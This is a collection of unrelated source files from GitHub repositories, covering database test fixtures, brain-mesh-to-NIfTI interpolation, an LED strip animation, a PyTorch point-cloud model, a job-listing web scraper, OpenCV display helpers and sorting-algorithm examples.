type=32))\n return v1, v2, v3, v4\n\n\n@pytest.fixture\ndef some_authors_papers_data(author_operations, paper_operations):\n ppr_1 = paper_operations.create(Paper(_id='pid1', title='title1', abstract='abs5',\n year=1971, n_citation=3,\n authors=['id1', 'id2']))\n ppr_2 = paper_operations.create(Paper(_id='pid2', title='title2', abstract='abs5',\n year=1972, n_citation=0,\n authors=['id1', 'id6']))\n ppr_3 = paper_operations.create(Paper(_id='pid3', title='title3', abstract='abs5',\n year=1973, n_citation=6,\n authors=['id1', 'id13']))\n ppr_4 = paper_operations.create(Paper(_id='pid4', title='title4', abstract='abs5',\n year=1974, n_citation=1,\n authors=['id0', 'id1', 'idN']))\n ppr_5 = paper_operations.create(Paper(_id='pid5', title='title5', abstract='abs5',\n year=1975, n_citation=5,\n authors=['id15', 'id2', 'id1']))\n # АВТОРЫ\n author_1 = author_operations.create(Author(_id='id1', name='Nikolay Lobachevsky',\n org='Lebedev Physical Institute',\n papers=['pid1', 'pid2', 'pid3', 'pid4', 'pid5'],\n vectorized_papers={'a': [1, 2, 3]}))\n author_2 = author_operations.create(Author(_id='id2', name='Pafnuty Chebyshev',\n org='St Petersburg University',\n gid='gid2', oid='123', papers=['pid3', 'pid1', 'pid5']))\n return ppr_1, ppr_2, ppr_3, ppr_4, ppr_5, author_1, author_2\n","repo_name":"tupiznak/made-project","sub_path":"backend/database/test/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13996380233","text":"import numpy as np\nimport argparse\nimport nibabel as nib\nfrom scipy.interpolate import griddata\nimport meshio\nfrom scipy.spatial import cKDTree \nimport itk\n\nfrom spatialorientationadapter_to_ras import apply_lps_ras_transformation\n\n\ndef mesh_to_image_with_ref(coordinates, values, reference_nii_path, interpolation_method, output_path):\n \"\"\"Interpolate the mesh nodal values onto a 3d reference-image-shape grid.\"\"\"\n # Get data from reference image \n reference_img = nib.load(reference_nii_path) \n reference_affine = reference_img.affine \n shape_img = np.shape(reference_img) \n shape_i, shape_j, shape_k = shape_img[0], shape_img[1], shape_img[2] \n\n # Coordinates : mesh coordinates expressed in world coordinates\n matrix_wc_2_img = np.linalg.inv(reference_affine)\n mesh_coordinates = np.concatenate((coordinates,np.ones((coordinates.shape[0],1))),axis=1)\n\n # Transform coordinates to image coordinates (apply inverse affine matrix)\n mesh_coordinates_in_image_space = (matrix_wc_2_img.dot(mesh_coordinates.T)).T\n\n # Apply interpolation on the sparse coordinate in image space\n grid_X, grid_Y, grid_Z = np.mgrid[0:shape_i, 0:shape_j, 0:shape_k]\n interpolation_array = griddata(mesh_coordinates_in_image_space[:,0:3], values, (grid_X, grid_Y, grid_Z), method=interpolation_method) \n reg_values_img = nib.Nifti1Image(interpolation_array, affine=reference_affine)\n nib.save(reg_values_img, output_path)\n\n #print(np.min(mesh_coordinates_in_image_space))\n #print(np.max(mesh_coordinates_in_image_space))\n\n return \n\ndef collect_reference_mri_values(coordinates0, reference_nii_path):\n '''\n Interpolate the mri initial intensities before deformation (step t=0).\n '''\n reference_img_itk = itk.imread(reference_nii_path)\n\n # Reorient the reference image coordinate system to RAS+\n reference_img_itk_ras = apply_lps_ras_transformation(reference_img_itk)\n\n # Interpolate the initial mri values to the coordinates (ijk space)\n reference_mri_values = np.zeros(len(coordinates0))\n interpolator = itk.BSplineInterpolateImageFunction.New(reference_img_itk) # NearestNeighborInterpolateImageFunction; LinearInterpolateImageFunction; BSplineInterpolateImageFunction'\n for i in range(len(coordinates0)):\n coordinates0_in_image_system = reference_img_itk_ras.TransformPhysicalPointToContinuousIndex(coordinates0[i]) #find the closest pixel to the vertex[i] (continuous index)\n reference_mri_values[i] = interpolator.EvaluateAtContinuousIndex(coordinates0_in_image_system) #interpolates values of grey around the index et attribute the interpolation value to the associated mesh node\n\n return reference_mri_values \n\ndef nib_affine_ijk_to_xyz(reference_nii_path, i, j, k):\n\n reference_nii_nib = nib.load(reference_nii_path)\n affine_matrix = reference_nii_nib.affine\n\n x = affine_matrix[0,3] + affine_matrix[0,0]*i\n y = affine_matrix[1,3] + affine_matrix[1,1]*j\n z = affine_matrix[2,3] + affine_matrix[2,2]*k\n\n return (x,y,z)\n\ndef mesh_to_image_with_ref_tq_nib(mesh_coordinates, values, reference_nii_path, output_path):\n reference_img_nib = nib.load(reference_nii_path)\n shape = np.shape(reference_img_nib)\n reference_affine = reference_img_nib.affine\n interpolation_array = np.zeros(shape)\n\n tree = cKDTree(mesh_coordinates)\n\n for i in range(shape[0]):\n for j in range(shape[1]):\n for k in range(shape[2]): \n #fetch the closest mesh coordinate from the voxel\n nearest_neighbor = tree.query(nib_affine_ijk_to_xyz(reference_nii_path, i, j, k)) \n tex = values[nearest_neighbor[1]]\n #plug coord to the voxel\n interpolation_array[i][j][k] = tex \n\n reg_values_img = nib.Nifti1Image(interpolation_array, affine=reference_affine)\n nib.save(reg_values_img, output_path)\n\n return\n\ndef mesh_to_image_with_ref_tq_itk(mesh_coordinates, values, reference_nii_path, output_path):\n \"\"\"Interpolate the mesh nodal values onto a 3d image array by tree querying the array physical coordinates. (for comparison with griddata)\"\"\"\n\n reference_img_itk = itk.imread(reference_nii_path) #k,j,i (i,j,k with nibabel and numpy) # 203, 290, 290 #contains direction cosines and origin to transport ijk into LPS+ coordinate system (standard for itk)\n shape_k, shape_j, shape_i = np.shape(reference_img_itk) # 203, 290, 290\n interpolation_array = np.zeros((shape_k, shape_j, shape_i)) \n \n # Reorient the reference image coordinate system to RAS+\n reference_img_itk_ras = apply_lps_ras_transformation(reference_img_itk)\n\n # Interpolate the sparse values in the RAS coordinate system\n tree = cKDTree(mesh_coordinates)\n for i in range(shape_i):\n for j in range(shape_j):\n for k in range(shape_k): \n #fetch the closest mesh coordinate from the voxel\n nearest_neighbor = tree.query(reference_img_itk_ras.TransformIndexToPhysicalPoint((i, j, k))) # ijk to RAS+ xyz. https://www.na-mic.org/wiki/Coordinate_System_Conversion_Between_ITK_and_Slicer3\n tex = values[nearest_neighbor[1]]\n #plug coord to the voxel\n interpolation_array[k][j][i] = tex # k,j,i\n \n #writing interpolation image output \n interpolation_img = itk.GetImageFromArray(interpolation_array) # k,j,i\n interpolation_img.SetSpacing(reference_img_itk.GetSpacing()) # RAS+ xyz to ijk\n interpolation_img.SetOrigin(reference_img_itk.GetOrigin())\n interpolation_img.SetDirection(reference_img_itk.GetDirection())\n\n itk.imwrite(interpolation_img, output_path) # needs to be k,j,i (identical to reference_img_itk)\n \n return reference_img_itk, interpolation_array, interpolation_img\n\ndef mesh_to_generated_image(mesh_coordinates, values, interpolation_method, output_path):\n \"\"\"Interpolate the mesh nodal values onto an anisotropic generated 3d grid (Generate an isotropic nifti from sparse mesh coordinates).\n > Provided mesh (fixed lengths)\n > Fixed image resolution -- TO BE CHOOSEN\n > Adaptative image shape in 3dim.\n > image margin -- TO BE CHOOSEN\n \"\"\"\n # image parameters\n reso = 0.01\n margin = 4 # 2 voxels on both sides\n\n # Calculate mesh lengths\n length_x = max(mesh_coordinates[:,0]) - min(mesh_coordinates[:,0])\n length_y = max(mesh_coordinates[:,1]) - min(mesh_coordinates[:,1])\n length_z = max(mesh_coordinates[:,2]) - min(mesh_coordinates[:,2])\n\n # Generate the shape of the anisotropic interpolation grid\n shape_x, shape_y, shape_z = length_x/reso + margin, length_y/reso + margin, length_z/reso + margin\n\n # Localize the geometrical center of the mesh\n mesh_center_x, mesh_center_y, mesh_center_z = 0.5*(min(mesh_coordinates[:,0]) + max(mesh_coordinates[:,0])), 0.5*(min(mesh_coordinates[:,1]) + max(mesh_coordinates[:,1])), 0.5*(min(mesh_coordinates[:,2]) + max(mesh_coordinates[:,2]))\n\n # Calculate the translation vector -B between the mesh coordinates and the image space\n coord_img_center_x, coord_img_center_y, coord_img_center_z = 0.5*shape_x*reso, 0.5*shape_y*reso, 0.5*shape_z*reso\n mesh_to_img_vect = [coord_img_center_x - mesh_center_x, coord_img_center_y - mesh_center_y, coord_img_center_z - mesh_center_z]\n\n # Apply translation vector to mesh coordinates ( (x,y,z) = M@(i,j,k) + B )\n mesh_coord_in_img_space = mesh_coordinates.copy() \n mesh_coord_in_img_space[:,0] += mesh_to_img_vect[0] # -B[0]\n mesh_coord_in_img_space[:,1] += mesh_to_img_vect[1] # -B[1]\n mesh_coord_in_img_space[:,2] += mesh_to_img_vect[2] # -B[2]\n mesh_coord_in_img_space /= reso # inv(M)\n\n # Build the nifti affine \n generated_affine = np.zeros((4,4), dtype=np.float64)\n generated_affine[0,0] = generated_affine[1,1] = generated_affine[2,2] = reso\n generated_affine[0,3] = - mesh_to_img_vect[0]\n generated_affine[1,3] = - mesh_to_img_vect[1]\n generated_affine[2,3] = - mesh_to_img_vect[2]\n generated_affine[3,3] = 1\n\n # Apply interpolation on the sparse coordinate\n grid_X, grid_Y, grid_Z = np.mgrid[0:shape_x, 0:shape_y, 0:shape_z]\n interpolation_array = griddata(mesh_coord_in_img_space, values, (grid_X, grid_Y, grid_Z), method=interpolation_method) \n values_img = nib.Nifti1Image(interpolation_array, affine=generated_affine) #Calculates the affine between image and coordinates : translation center of gravity\n nib.save(values_img, output_path)\n\n return \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Visualisation of brain values (nifti)')\n parser.add_argument('-i', '--input', help='Path to input vtk file (step, coordinates, brain values)', default='../res/dhcpbrain_fine_vtk/dhcpbrain_fine_500.vtk', type=str, required=False)\n parser.add_argument('-r', '--reference', help='Reference nifti', type=str, default='../data/data_anne/dhcp/dhcp.nii', required=False)\n parser.add_argument('-o', '--output', help='Path to output nifti file', type=str, default='../res/dhcpbrain_fine_vtk/dhcpbrain_fine_500_torasxyz_displacements.nii.gz', required=False)\n parser.add_argument('-m', '--method', help='griddata interpolation method: nearest; linear; cubic', type=str, default='linear', required=False)\n args = parser.parse_args()\n\n # MAIN PROGRAM \n # load coordinates and associated values from the input vtk file.\n mesh = meshio.read(args.input)\n mesh_coordinates = mesh.points # list of nodes coordinates\n brain_values = mesh.point_data['Displacement'] # TO BE UDPATED BEFORE RUNNING: 'Displacement'; 'Distance_to_surface'; 'Growth_ponderation' (gr) ; \n # 'Tangential_growth_wg_term' (gm(y)); 'Tangential_growth' (g(y,t)) \n\n # collect step=0 mri values from reference nifti\n mesh0 = meshio.read('../res/dhcpbrain_fine_vtk/dhcpbrain_fine_0.vtk')\n mesh_coordinates0 = mesh0.points\n reference_mri_values = collect_reference_mri_values(mesh_coordinates0, args.reference)\n # REFERENCE IMAGE + griddata interpolation. Generate a interpolated nifti of the initial mri values. \n mesh_to_image_with_ref(mesh_coordinates0, reference_mri_values, args.reference, args.method, '../res/dhcpbrain_fine_vtk/dhcpbrain_fine_0_mrivalues.nii.gz') \n print('\\n The nifti dhcpbrain_fine_mrivalues0.nii.gz has been generated. \\n')\n\n # REFERENCE IMAGE + griddata interpolation. Generate a interpolated nifti of the nodal values. \n \"\"\"\n mesh_to_image_with_ref(mesh_coordinates, brain_values, args.reference, args.method, args.output) \n print('\\n The nifti ' + str(args.output) + ' has been generated. \\n')\n \"\"\"\n \n # REFERENCE IMAGE + treequery interpolation. Generate a interpolated nifti of the nodal values.\n \"\"\"\n #output_path_reg = '/home/latim/GitHub/BrainGrowth/BrainGrowth/res/dhcpbrain_vtk/dhcpbrain_ras_1500_displ_tq_reg.nii.gz' # TO BE UDPATED BEFORE RUNNING\n reference_img_itk, interpolation_array, interpolation_img = mesh_to_image_with_ref_tq_itk(mesh_coordinates, brain_values, args.reference, args.output)\n print('\\n The nifti ' + str(args.output) + ' has been generated. \\n') \n \"\"\"\n # GENERATED IMAGE + griddata interpolation. Generate a interpolated nifti of the nodal values. \n \"\"\"\n mesh_to_generated_image(mesh_coordinates, brain_values, args.method, args.output)\n print('\\n The nifti ' + str(args.output) + ' has been generated. \\n') \n \"\"\"","repo_name":"rousseau/BrainGrowth","sub_path":"meshtonifti/meshtonifti.py","file_name":"meshtonifti.py","file_ext":"py","file_size_in_byte":11409,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"18181788893","text":"from __future__ import division\nimport time\nimport Adafruit_WS2801\nimport Adafruit_GPIO.SPI as SPI\nPIXEL_COUNT = 159\nPIXEL_CLOCK = 18\nPIXEL_DOUT = 23\npixels = Adafruit_WS2801.WS2801Pixels(PIXEL_COUNT, clk=PIXEL_CLOCK, do=PIXEL_DOUT)\npixels.clear()\npixels.show()\nRED=[0]*159\nBLUE=[0]*159\nGREEN=[0]*159\nwhile True:\n\trgb = [255,0,0]\n\tdecColor = 0\n\tfor decColor in range(0,3):\n\t\tincColor = 0 if decColor==2 else decColor+1\n\ti = 0\n\tfor i in range(0,5):\n\t\trgb[decColor] -= 50\n\t\trgb[incColor] += 50\n\t\t\n\t\tRED[0] = rgb[0]\n\t\tGREEN[0] = rgb[1]\n\t\tBLUE[0] = rgb[2]\n\t\tpixels.set_pixel_rgb(0,RED[0],GREEN[0],BLUE[0])\n\t\tpixels.show()\n\t\ttime.sleep(0.0001)\n\t\tc = 159\n\t\tfor c in range (159,0):\n\t\t\tRED[c] = RED[c-1]\n\t\t\tGREEN[c] = GREEN[c-1]\n\t\t\tBLUE[c] = BLUE[c-1]","repo_name":"CarmelRobotics/petty-kellers","sub_path":"examples/rain.py","file_name":"rain.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21335660560","text":"import sys\nsys.path.insert(0, 'RepVGG')\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as functional\nimport torchvision.transforms as tf\nimport torch.optim as optim\nfrom torchinfo import summary\n\nfrom RepVGG.repvgg import create_RepVGG_A0\nfrom RepVGG import se_block\n\nfrom auxilarynet import AuxilaryBranchCNN\n\nfrom pointcloudpyramid import PointCloudPyramid, Pyramid_Layer_1, Pyramid_Layer_2, Pyramid_Layer_3\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(\"device:\",device)\n\n\nMainBranch = create_RepVGG_A0().to(device)\nweightsA0 = torch.load(\"Pretrained_Networks/RepVGG-A0-train.pth\")\nMainBranch.load_state_dict(weightsA0)\n\nAuxiliaryBranch = AuxilaryBranchCNN().to(device)\nweightsAux = torch.load(\"Pretrained_Networks/Auxiliary_Network.pth\")\nAuxiliaryBranch.load_state_dict(weightsAux[\"model_state_dict\"])\n\nPCP = PointCloudPyramid(Pyramid_Layer_1(), Pyramid_Layer_2(), Pyramid_Layer_3()).to(device)\n\nclass pointCloudGenerator(nn.Module):\n def __init__(self, mainBranch, auxBranch, pcp):\n super().__init__()\n self.mainBranch = mainBranch\n self.auxBranch = auxBranch\n self.pcp = pcp\n\n def forward(self, rgbImg, edgeImg):\n\n x1 = self.mainBranch(rgbImg)\n x2 = self.auxBranch(edgeImg)[0]\n\n # print(x1.shape)\n # print(x2.shape)\n\n vec = torch.cat((x1,x2), dim = 1)\n\n # print(vec.shape)\n\n pred_PC = self.pcp(vec)\n\n return pred_PC\n \nif __name__ == \"__main__\":\n # net = pointCloudGenerator(MainBranch, AuxiliaryBranch, PCP)\n print(\"\\n\"*2)\n summary(MainBranch, input_size=(32, 3, 128,128))\n print(\"\\n\"*2)\n summary(AuxiliaryBranch, input_size=(32, 1, 128,128))\n print(\"\\n\"*2)\n summary(PCP, input_size=(32, 1, 2000))\n\n","repo_name":"devrajPriyadarshi/2D-Images-to-3D-pointclouds","sub_path":"main_model.py","file_name":"main_model.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20507374594","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 7 09:21:52 2017\n\n@author: qiu\n\"\"\"\n''''' \n@智联招聘职位搜索与数据获取 \n@拉勾网 专注于互联网招聘的网站:https://www.lagou.com/ \n@拉勾网 招聘的公司较少,且大部分需要有经验的公司 \n@拉勾网 查找限制选择性强 \n@BOSS直聘 查找限制选择性强 对象大众化 http://www.zhipin.com \n@猎聘 更专业的招聘网站 有专门面向学生的招聘通道 https://campus.liepin.com/ \n@应届生网 页面布局太烂,不建议爬取。不过有专门针对应届生的招聘会论坛等信息,确实不错 http://www.yingjiesheng.com/ \n@由于拉钩和猎聘职位较少,而且可以满足高精确查找,这里只提供网址,自行搜索。 \n***********************@智联招聘职位搜索与数据获取*************************** \n'''\n\nimport urllib.request\nfrom urllib.parse import *\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport string\nimport random\n\nimport os\n\nheaders = [\n \"Mozilla/5.0 (Windows NT 6.1; Win64; rv:27.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\"\n \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:27.0) Gecko/20100101 Firfox/27.0\"\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\"\n \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:10.0) Gecko/20100101 Firfox/10.0\"\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/21.0.1180.110 Safari/537.36\"\n \"Mozilla/5.0 (X11; Ubuntu; Linux i686 rv:10.0) Gecko/20100101 Firfox/27.0\"\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/34.0.1838.2 Safari/537.36\"\n \"Mozilla/5.0 (X11; Ubuntu; Linux i686 rv:27.0) Gecko/20100101 Firfox/27.0\"\n \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\"]\n\n\ndef get_content(url, headsers):\n '''''\n @url:需要登录的网址\n @headers:模拟的登陆的终端\n *********************模拟登陆获取网址********************\n '''\n random_header = random.choice(headers)\n req = urllib.request.Request(url)\n req.add_header(\"User-Agent\", random_header)\n req.add_header(\"Get\", url)\n req.add_header(\"Host\", \"sou.zhaopin.com\")\n req.add_header(\"refer\", \"http://sou.zhaopin.com/\")\n html = urllib.request.urlopen(req)\n contents = html.read()\n # 判断输出内容contents是否是字节格式\n if isinstance(contents, bytes):\n # 转成字符串格式\n contents = contents.decode('utf-8')\n else:\n print('输出格式正确,可以直接输出')\n ##输出的是字节格式,需要将字节格式解码转成’utf-8‘\n return (contents)\n\n\ndef get_content1(url, headsers):\n '''''\n @url:需要登录的网址\n @headers:模拟的登陆的终端\n *********************模拟登陆获取网址********************\n '''\n random_header = random.choice(headers)\n req = urllib.request.Request(url)\n req.add_header(\"User-Agent\", random_header)\n req.add_header(\"Get\", url)\n req.add_header(\"Host\", \"jobs.zhaopin.com\")\n req.add_header(\"refer\", \"http://sou.zhaopin.com/jobs/searchresult.ashx\")\n html = urllib.request.urlopen(req)\n contents = html.read()\n # 判断输出内容contents是否是字节格式\n if isinstance(contents, bytes):\n # 转成字符串格式\n contents = contents.decode('utf-8')\n else:\n print('输出格式正确,可以直接输出')\n ##输出的是字节格式,需要将字节格式解码转成’utf-8‘\n return (contents)\n\n\ndef get_links_from(job, city, page):\n '''''\n @job:工作名称\n @city:网址中城市名称\n @page:表示第几页信息\n @urls:所有列表的超链接,即子页网址\n\n ****************此网站需要模拟登陆**********************\n 返回全部子网页地址\n '''\n urls = []\n for i in range(page):\n url = \"http://sou.zhaopin.com/jobs/searchresult.ashx?jl={}&kw={}&p={}\".format(str(city), str(job), i)\n url = quote(url, safe=string.printable)\n info = get_content(url, headers)\n soup = BeautifulSoup(info, \"lxml\") # 设置解析器为“lxml”\n link_urls = soup.select('td.zwmc a')\n for url in link_urls:\n urls.append(url.get('href'))\n return (urls)\n\n\n# url = \"http://s.yingjiesheng.com/result.jsp?keyword=%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98&city=217&start=0&period=0&sort=score&jobtype=1\"\n# get_links_from('南京','数据挖掘', 5)\ndef get_link_info(url):\n '''''\n @爬取的地址\n *****************获取此网站的有用信息并保存成字典形式****************\n '''\n info = get_content1(url, headers)\n soup = BeautifulSoup(info, \"lxml\") # 设置解析器为“lxml”\n occ_name = soup.select('div.fixed-inner-box h1')[0]\n com_name = soup.select('div.fixed-inner-box h2')[0]\n com_url = soup.select('div.inner-left.fl h2 a')[0]\n welfare = soup.select('div.welfare-tab-box')[0]\n wages = soup.select('div.terminalpage-left strong')[0]\n date = soup.select('div.terminalpage-left strong')[2]\n exper = soup.select('div.terminalpage-left strong')[4]\n num = soup.select('div.terminalpage-left strong')[6]\n area = soup.select('div.terminalpage-left strong')[1]\n nature = soup.select('div.terminalpage-left strong')[3]\n Edu = soup.select('div.terminalpage-left strong')[5]\n cate = soup.select('div.terminalpage-left strong')[7]\n com_scale = soup.select('ul.terminal-ul.clearfix li strong')[8]\n com_nature = soup.select('ul.terminal-ul.clearfix li strong')[9]\n com_cate = soup.select('ul.terminal-ul.clearfix li strong')[10]\n com_address = soup.select('ul.terminal-ul.clearfix li strong')[11]\n\n data = {\"拉勾网\": 'https://www.lagou.com/', \"猎聘\": \"https://campus.liepin.com/\", \"应届生\": \"http://www.yingjiesheng.com/\",\n \"网址\": url, \"工作名称\": occ_name.text.strip(), \"公司名称\": com_name.text, \"公司网址\": com_url.get('href'),\n \"福利\": welfare.text.strip(), \"月工资\": wages.text.strip(), \"发布日期\": date.text.strip(), \"经验\": exper.text.strip(),\n \"人数\": num.text.strip(), \"工作地点\": area.text.strip(), \"工作性质\": nature.text.strip(), \"最低学历\": Edu.text.strip(),\n \"职位类别\": cate.text.strip(), \"公司规模\": com_scale.text.strip(), \"公司性质\": com_nature.text.strip(),\n \"公司行业\": com_cate.text.strip(), \"公司地址\": com_address.text.strip()}\n return (data)\n\n\n# url = \"http://jobs.zhaopin.com/145913042250065.htm\"\n# get_link_info(url)\n\ndef get_links_all_info(job, city, page):\n '''''\n @job:工作名称\n @city:网址中城市名称\n @page:表示前几页信息\n 将全部信息保存成矩阵形式,去除无用信息,并在当前目录下生成文件夹并此文件夹下把信息分类保存成.csv格式\n '''\n urls = get_links_from(job, city, page)\n df = pd.DataFrame({\n\n \"网址\": [], \"工作名称\": [], \"公司名称\": [], \"公司网址\": [], \"福利\": [], \"月工资\": [], \"发布日期\": [], \"经验\": [], \"人数\": [], \"工作地点\": [],\n \"工作性质\": [], \"最低学历\": [], \"职位类别\": [], \"公司规模\": [], \"公司性质\": [], \"公司行业\": [], \"公司地址\": [], \"拉勾网\": [], \"猎聘\": [],\n \"应届生\": []})\n links = []\n for url in urls:\n if \"xiaoyuan\" in url:\n links.append(url)\n columns = ['校园招聘地址']\n labeled_df = pd.DataFrame(columns=columns, data=links)\n # labeled_df.to_csv('{}\\{}校园招聘{}地址.csv'.format(str(city)+str(job),str(city),str(job)))\n else:\n data = get_link_info(url)\n # print (data)\n df = df.append(data, ignore_index=True)\n return df\n\n\ndef remove_useless_info(df):\n '''''\n #删除除\"公司规模\": \"20人以下\", \"20-99人\"; \"最低学历\": \"博士\",\"大专\"; \"经验\": \"3-5年\",\"5-10年\", \"10年以上\"的情况\n\n @Dataframe筛选数据 http://jingyan.baidu.com/article/0eb457e508b6d303f0a90572.html\n @df: 以矩阵形式存储爬取到的数据\n 定义一个列表,存储指定列类型,\n 删除需要删除的类型,\n 利用isin()函数保留剩下的数据\n '''\n ''''' \n **************公司规模问题************** \n\n **************最低学历问题************** \n\n **************经验问题************** \n '''\n df = df[(df.经验 != '3-5年') & (df.经验 != '5-10年') & (df.经验 != '10年以上') & (df.最低学历 != '博士') & (df.最低学历 != '大专') & (\n df.公司规模 != '20人以下')]\n return df\n\n\ndef save_info(job, city, page, df):\n '''''\n **************公司性质问题**************\n '''\n # print (list(df.公司性质))\n ''''' \n @df_pri = df[df.公司性质.isin('民营')] \n @error: \n only list-like objects are allowed to be passed to isin(), you passed a [str] \n '''\n df_pri = df[df.公司性质.isin(['民营'])]\n df_com = df[df.公司性质.isin(['上市公司'])]\n df_sta = df[df.公司性质.isin(['国企'])]\n df_fore = df[df.公司性质.isin(['外商独资'])]\n df_joint = df[df.公司性质.isin(['合资'])]\n df_Gov = df[df.公司性质.isin(['事业单位'])]\n df_stock = df[df.公司性质.isin(['股份制企业'])]\n\n # path = \"E:\\研究生阶段学习\\编程语言\\python\\python爬虫\\python源\\招聘资料\\智联招聘\\job\"\n # 获取当前路径\n path = os.getcwd()\n # 自动生成文件夹并命名\n os.mkdir(r'{}'.format(str(city) + str(job)))\n df_pri.to_csv('{}\\{}{}——民营.csv'.format(str(city) + str(job), str(city), str(job)))\n df_com.to_csv('{}\\{}{}——上市公司.csv'.format(str(city) + str(job), str(city), str(job)))\n df_sta.to_csv('{}\\{}{}——国企.csv'.format(str(city) + str(job), str(city), str(job)))\n df_fore.to_csv('{}\\{}{}——外商独资.csv'.format(str(city) + str(job), str(city), str(job)))\n df_joint.to_csv('{}\\{}{}——合资.csv'.format(str(city) + str(job), str(city), str(job)))\n df_Gov.to_csv('{}\\{}{}——事业单位.csv'.format(str(city) + str(job), str(city), str(job)))\n df_stock.to_csv('{}\\{}{}——股份制企业.csv'.format(str(city) + str(job), str(city), str(job)))\n\n\ndef get_recuite_info(job, city, page):\n '''''\n 获取招聘信息\n '''\n df = get_links_all_info(job, city, page)\n df_cleaned = remove_useless_info(df)\n save_info(job, city, page, df_cleaned)\n\n\n''''' \n*********************获取招聘信息*************************** \n'''\nget_recuite_info('嵌入式开发', '南京', 1)","repo_name":"Systempm/noob_python","sub_path":"NBpythonspider/zhaopinjihe.py","file_name":"zhaopinjihe.py","file_ext":"py","file_size_in_byte":10722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30265007903","text":"\"\"\"Some utils to work with cv2\"\"\"\nimport numpy as np\nimport cv2\n\n\ndef viz_img(img: np.array, name: str = \"img\",\n scale: float = 1.0, wait: bool = True, save: bool = True) -> None:\n \"\"\"Visualize image\"\"\"\n aux = img.copy()\n if scale != 1.0:\n aux = resize(img, scale)\n cv2.imshow(name, aux)\n if save:\n cv2.imwrite(f'/tmp/{name}.png', aux)\n if wait:\n cv2.waitKey(0)\n\n\ndef resize(img: np.array, factor: float) -> np.array:\n \"\"\"Rezise image by given factor\"\"\"\n return cv2.resize(img, (img.shape[0]*factor, img.shape[1]*factor))\n","repo_name":"aerostack2/project_path_planning","sub_path":"dev/viz_utils.py","file_name":"viz_utils.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73800071788","text":"array = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\n\n##선택 정렬 : 매번 가장 작은것을 선택 O(n^2)\nfor i in range(len(array)):\n min_index = i ##가장 작은 원소의 인덱스\n for j in range(i + 1 , len(array)):\n if array[min_index] > array[j]:\n min_index = j\n array[i], array[min_index] = array[min_index], array[i]\n\nprint('sellection sort:' , array)\n\n##삽입 정렬 : 특정한 데이터를 적절한 위치에 삽입한다는 의미 O(n^2)\n\narray = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\nfor i in range(1, len(array)): ##0번째 인덱스는 그 자체로 정렬되었다고 생각\n for j in range(i, 0, -1):\n if array[j] < array[j-1]:\n array[j], array[j-1] = array[j-1], array[j]\n else:\n break\nprint('insert sort:', array)\n\n##퀵 정렬 : 피벗을 설정해 그걸 기준으로 배열을 좌우로 나누어 빠르게 정렬한다\n##일반적으로 재귀형식을 이용해 구현하면 매우 편하다 O(NlogN)\n\n##널리 사용되는 가장 직관적인 형태의 퀵정렬\narray = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\n\ndef quick_sort(array, start, end):\n if start >= end:\n return\n pivot = start\n left = start + 1\n right = end\n while left <= right:\n while left <= end and array[left] <= array[pivot]:\n left += 1\n while right > start and array[right] >= array[pivot]:\n right -=1\n if left > right:\n array[right], array[pivot] = array[pivot], array[right]\n else:\n array[left], array[right] = array[right], array[left]\n quick_sort(array, start, right-1)\n quick_sort(array, right+1, end)\n\nquick_sort(array, 0, len(array)-1)\nprint('quick sort general:',array)\n\n\n##파이썬의 장점을 살린, 약간 비효율적이지만 구현이 간단한 형태의 퀵정렬 O(NlogN)\narray = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\n\ndef quick_sort1(array):\n if len(array)<=1: ##리스트가 하나이하의 원소를 담았다면 정렬이 끝난것.종료\n return array\n pivot = array[0]\n tail = array[1:]\n left_side = [ x for x in tail if x <= pivot] ##분할된 왼쪽부분\n right_side = [ x for x in tail if x > pivot] ##분할된 오른쪽부분\n\n return quick_sort1(left_side) + [pivot] + quick_sort1(right_side)\n\nprint('quick sort python:', quick_sort1(array))\n\n\n##계수 정렬. 모든 데이터가 양의 정수이고, 데이터중 최댓값이 K, 갯수 N일때 O(N+K)\n##다만 데이터의 크기 범위가 제한되어 정수형태로 표현가능할때만 사용가능\n##일반적으로 범위가 1,000,000을 넘지 않��때 효율적이며, 이는 모든 범위를 담을 수\n##있는 크기의 리스트를 선언해야 하기 때문이다\n\narr = [7, 5, 9, 0, 3, 1, 6, 2, 9, 1, 4, 8, 1, 5, 2]\narr_minmax = [0]*(max(array)+1)\n##arr의 범위(0~9)만큼의 크기를 갖는 0으로 초기화된 배열, max를 쓰면 바로 최댓값\n##나온다. 개편하다.\n\nfor i in range(len(arr)): ## arr의 배열에 각 숫자들이 몇번 등장했는지\n arr_minmax[arr[i]] += 1 